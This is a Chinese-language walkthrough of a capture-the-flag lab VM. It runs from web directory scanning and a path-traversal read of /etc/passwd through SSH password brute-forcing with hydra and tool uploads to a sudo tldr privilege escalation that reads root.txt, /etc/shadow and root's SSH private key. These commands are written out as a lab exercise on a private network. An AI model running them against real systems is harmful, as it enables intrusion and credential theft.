正文
kali攻击机地址:192.168.1.16
靶场地址:192.168.1.17
1、目录扫描
在kali里,使用gobuster工具扫一下网站的子目录:
bash
gobuster dir -u http://192.168.1.17 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt

发现dragon.php ,登录后发现提示:

网页提示Incantation System(咒语系统),那就是想办法通过post传参,让Incantation分别等于Emperor、DivineDecree、Judgement、FlameEmperor。
先找到常用的破解字典:
bash
find / -name "common.txt" 2>/dev/null

通过wfuzz工具,用 common.txt 里的所有词,挨个替换 URL 里的参数名,带上 POST: incantation=divinedecree,尝试让 192.168.1.17 的 dragon.php 读取/etc/passwd,
并自动隐藏正常页面长度(10213)、长度为 10208 的无效响应的干扰结果:
bash
wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.1.17/dragon.php?FUZZ=../../../../../../etc/passwd -d 'incantation=emperor' --hh 1028
wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.1.17/dragon.php?FUZZ=../../../../../../etc/passwd -d 'incantation=divinedecree' --hh 10213
发现incantation=divinedecree,有file参数。
2、POST传参修改
通过设置URL=?file=../../../../../../etc/passwd,post参数设置为incantation=divinedecree,观察网页回包,发现两个用户uesugierii和Fingal:


3、用户SSH密码爆破
使用hydra工具,ssh爆破一下:
bash
hydra -L usr.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.17 ssh

发现用户名uesugierii的密码为sakura。发现文件eva.pinglog,
4、字符加解密
通过读取eva.pinglog,应该是个字符解密,二进制转换 :将每个 "ping" 视为 0,每个 "pong" 视为 1。
序列分组 :整个序列有 168 个事件,正好可以分成 21 个 8 位字节(168 ÷ 8 = 21)。
ASCII 解码 :将每个字节(8 位二进制)转换为对应的 ASCII 字符。
转换后的文本结果为:
bash
Fingal:Blacksheepwall
切换到Fingal用户后,发现以下提示:

给了一个lumingfei:DivineDecree,但是发现登录不是上:

再仔细看看kernel.txt:

文件里是三条 "核心规则":
-
Lu Mingfei's safety is the top priority
路明非的安全是最高优先级。
-
Immediate rescue operation when Lu Mingfei's life is endangered
当路明非的生命受到威胁时,立即执行救援行动。
-
All rules are unmodifiable and irrevocable
所有规则不可修改、不可撤销。
5、SCP工具实现文件上传
这里就有点脑洞了,先在kali上使用SCP工具直接传文件pspy64:(靶机有 SSH 且有账号密码)
bash
scp pspy64 Fingal@192.168.1.17:/tmp/
然后 SSH 进靶机:
bash
chmod +x /tmp/pspy64

补充知识:往靶机传文件的常用姿势
方法一:Python 临时 HTTP 服务(最常用、最简单)
Kali:
bash
# 在 pspy64 所在目录
python3 -m http.server 80
靶机(有 wget/curl):
bash
# 下载到 /tmp 目录
wget http://192.168.1.100/pspy64 -O /tmp/pspy64
# 或者 curl
curl http://192.168.1.100/pspy64 -o /tmp/pspy64
# 加执行权限
chmod +x /tmp/pspy64
# 运行
/tmp/pspy64
方法二:Netcat(nc)传输(靶机无 wget 时用)
靶机(先监听):
bash
nc -lnvp 4444 > /tmp/pspy64
Kali:
bash
nc 192.168.1.17 4444 < pspy64
靶机继续:
bash
chmod +x /tmp/pspy64
/tmp/pspy64
方法三:Base64 粘贴(应急,靶机无任何传输工具)
Kali 编码:
bash
base64 -w 0 pspy64
会输出一长串 base64 字符串,全部复制。
靶机解码:
bash
echo "这里粘贴刚才复制的长串" | base64 -d > /tmp/pspy64
chmod +x /tmp/pspy64
6、脑洞:文件清除kernel.txt
尝试编辑一下kernel.txt,把里面的文字全部清除:

然后使用pspy64工具看看后台的定时任务:
bash
/tmp/pspy64

看样子用户权限被初始化了:

再去切换lumingfei用户登录,发现能登录了:

7、sudo执行tldr
sudo -l 发现能运行 /usr/local/bin/tldr,看一下帮助文件,允许读取本地文件:

尝试读取读取/root/目录下的root.txt:
bash
sudo /usr/local/bin/tldr -r -m /root/root.txt
| 部分 | 含义与作用 |
|---|---|
sudo |
以root 权限 执行后续命令(说明当前用户对 /usr/local/bin/tldr 拥有 sudo 免密权限) |
/usr/local/bin/tldr |
tldr 命令的完整路径,它是一个简化版的 Linux 帮助手册工具 |
-r / --render |
tldr 的参数,作用是渲染本地 Markdown 文件(原本用于测试自定义帮助文档) |
-m /root/root.txt |
指定要渲染的文件路径为 /root/root.txt |

补充知识:tldr工具的额外用处
读取 /etc/shadow 获取哈希:
bash
sudo /usr/local/bin/tldr -r -m /etc/shadow

读取 /root/.ssh/id_rsa 获取SSH私钥:
bash
sudo /usr/local/bin/tldr -r -m /root/.ssh/id_rsa